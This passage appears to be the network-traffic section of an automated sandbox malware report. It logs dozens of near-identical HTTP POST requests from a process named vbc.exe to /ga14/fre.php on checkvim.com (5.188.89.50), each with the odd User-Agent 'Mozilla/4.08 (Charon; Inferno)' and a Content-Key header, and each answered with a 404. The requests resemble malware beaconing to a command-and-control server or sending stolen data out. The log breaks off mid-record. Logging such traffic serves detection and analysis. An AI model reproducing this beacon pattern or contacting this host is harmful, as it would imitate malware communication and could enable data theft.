Sep 28, 2021 06:51:00.245923042 CEST	276	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:11 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.22	49207	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:00.541294098 CEST	277	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:00.899846077 CEST	277	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:12 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.22	49208	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:01.193569899 CEST	278	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:01.549926996 CEST	279	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:12 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.22	49209	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:01.859268904 CEST	279	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:02.235016108 CEST	280	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:13 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.22	49210	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:02.517045021 CEST	281	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:02.885140896 CEST	281	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:14 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.22	49211	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:03.156872988 CEST	282	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:03.512490034 CEST	283	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:14 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.22	49212	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:03.819480896 CEST	284	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:04.183722019 CEST	284	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:15 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.22	49213	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:04.459249020 CEST	285	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:04.832232952 CEST	286	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:16 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.22	49214	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:05.091180086 CEST	286	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:05.442714930 CEST	287	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:16 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49170	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:33.578149080 CEST	225	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:33.930838108 CEST	226	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:45 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.22	49215	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:05.699796915 CEST	288	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:06.041812897 CEST	288	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:17 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.22	49216	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:06.324511051 CEST	289	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:06.690603018 CEST	290	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:18 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.22	49217	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:06.958702087 CEST	291	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:07.319648027 CEST	291	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:18 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.22	49218	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:07.603166103 CEST	292	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:07.964447021 CEST	293	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:19 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.22	49219	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:08.233326912 CEST	293	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:08.589641094 CEST	294	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:19 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.22	49220	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:08.841041088 CEST	295	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:09.186378002 CEST	295	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:20 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.22	49221	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:09.444019079 CEST	296	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:09.822865009 CEST	297	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:21 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.22	49222	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:10.077282906 CEST	298	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:10.430119991 CEST	298	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:21 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.22	49223	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:10.687077999 CEST	299	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:11.051527977 CEST	299	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:22 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.22	49224	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:11.328728914 CEST	300	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:11.678843021 CEST	301	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:23 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49171	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:36.333899975 CEST	227	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:36.694550991 CEST	227	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:48 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.22	49225	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:11.924108982 CEST	302	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:12.290452957 CEST	302	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:23 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.22	49226	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:12.548479080 CEST	303	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:12.908385992 CEST	304	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:24 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.22	49227	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:13.189129114 CEST	304	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:13.544517994 CEST	305	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:24 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.22	49228	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:13.815165043 CEST	306	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:14.177795887 CEST	306	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:25 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.22	49229	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:14.436115026 CEST	307	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:14.799664974 CEST	308	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:26 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.22	49230	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:15.070584059 CEST	309	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:15.439943075 CEST	309	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:26 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.22	49231	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:15.726731062 CEST	310	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:16.076317072 CEST	311	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:27 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.22	49232	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:16.340414047 CEST	311	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:16.690124035 CEST	312	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:28 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.22	49233	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:16.959594965 CEST	313	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:17.307420969 CEST	313	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:28 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.22	49234	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:17.590102911 CEST	314	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:17.941711903 CEST	315	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:29 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.22	49172	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:36.981513977 CEST	228	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:37.329349995 CEST	229	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:48 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.22	49235	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:51:18.196433067 CEST	316	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:51:18.572170973 CEST	316	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:29 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.22	49236	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
